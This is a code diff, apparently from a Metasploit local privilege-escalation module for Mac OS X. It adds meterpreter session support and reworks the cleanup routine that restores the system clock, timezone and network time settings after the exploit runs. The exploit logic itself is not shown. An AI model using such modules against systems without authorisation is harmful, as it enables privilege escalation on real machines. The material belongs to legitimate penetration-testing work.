@@ -58,7 +58,7 @@ def initialize(info={})
58
58
] ,
59
59
'Platform' => 'osx' ,
60
60
'Arch' => [ ARCH_X86 , ARCH_X86_64 , ARCH_CMD ] ,
61
- 'SessionTypes' => [ 'shell' ] ,
61
+ 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
62
62
'Targets' => [
63
63
[ 'Mac OS X x86 (Native Payload)' ,
64
64
{
@@ -145,13 +145,19 @@ def exploit
145
145
end
146
146
147
147
def cleanup
148
- do_cleanup_once ( session )
149
- super
150
- end
148
+ print_status ( "Resetting system clock to original values" ) if @time
149
+ cmd_exec ( "#{ SYSTEMSETUP_PATH } -settimezone #{ [ @zone ] . shelljoin } " ) unless @zone . nil?
150
+ cmd_exec ( "#{ SYSTEMSETUP_PATH } -setdate #{ [ @date ] . shelljoin } " ) unless @date . nil?
151
+ cmd_exec ( "#{ SYSTEMSETUP_PATH } -settime #{ [ @time ] . shelljoin } " ) unless @time . nil?
152
+
153
+ if @networked
154
+ cmd_exec ( "#{ SYSTEMSETUP_PATH } -setusingnetworktime On" )
155
+ unless @network_server . nil?
156
+ cmd_exec ( "#{ SYSTEMSETUP_PATH } -setnetworktimeserver #{ [ @network_server ] . shelljoin } " )
157
+ end
158
+ end
151
159
152
- def on_new_session ( session )
153
- do_cleanup_once ( session )
154
- super
160
+ print_good ( "Completed clock reset." ) if @time
155
161
end
156
162
157
163
private
@@ -196,27 +202,6 @@ def run_sudo_cmd
196
202
197
203
end
198
204
199
- # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup
200
- # from the new privileged session, when called from the on_new_session callback.
201
- def do_cleanup_once ( session )
202
- return if @_cleaned_up
203
- @_cleaned_up = true
204
-
205
- print_status ( "Resetting system clock to original values" ) if @time
206
- session . shell_command_token ( "#{ SYSTEMSETUP_PATH } -settimezone #{ [ @zone ] . shelljoin } " ) unless @zone . nil?
207
- session . shell_command_token ( "#{ SYSTEMSETUP_PATH } -setdate #{ [ @date ] . shelljoin } " ) unless @date . nil?
208
- session . shell_command_token ( "#{ SYSTEMSETUP_PATH } -settime #{ [ @time ] . shelljoin } " ) unless @time . nil?
209
-
210
- if @networked
211
- session . shell_command_token ( "#{ SYSTEMSETUP_PATH } -setusingnetworktime On" )
212
- unless @network_server . nil?
213
- session . shell_command_token ( "#{ SYSTEMSETUP_PATH } -setnetworktimeserver #{ [ @network_server ] . shelljoin } " )
214
- end
215
- end
216
-
217
- print_good ( "Completed clock reset." ) if @time
218
- end
219
-
220
205
# helper methods for accessing datastore
221
206
def using_native_target? ; target . name =~ /native/i ; end
222
207
def using_cmd_target? ; target . name =~ /cmd/i ; end
0 commit comments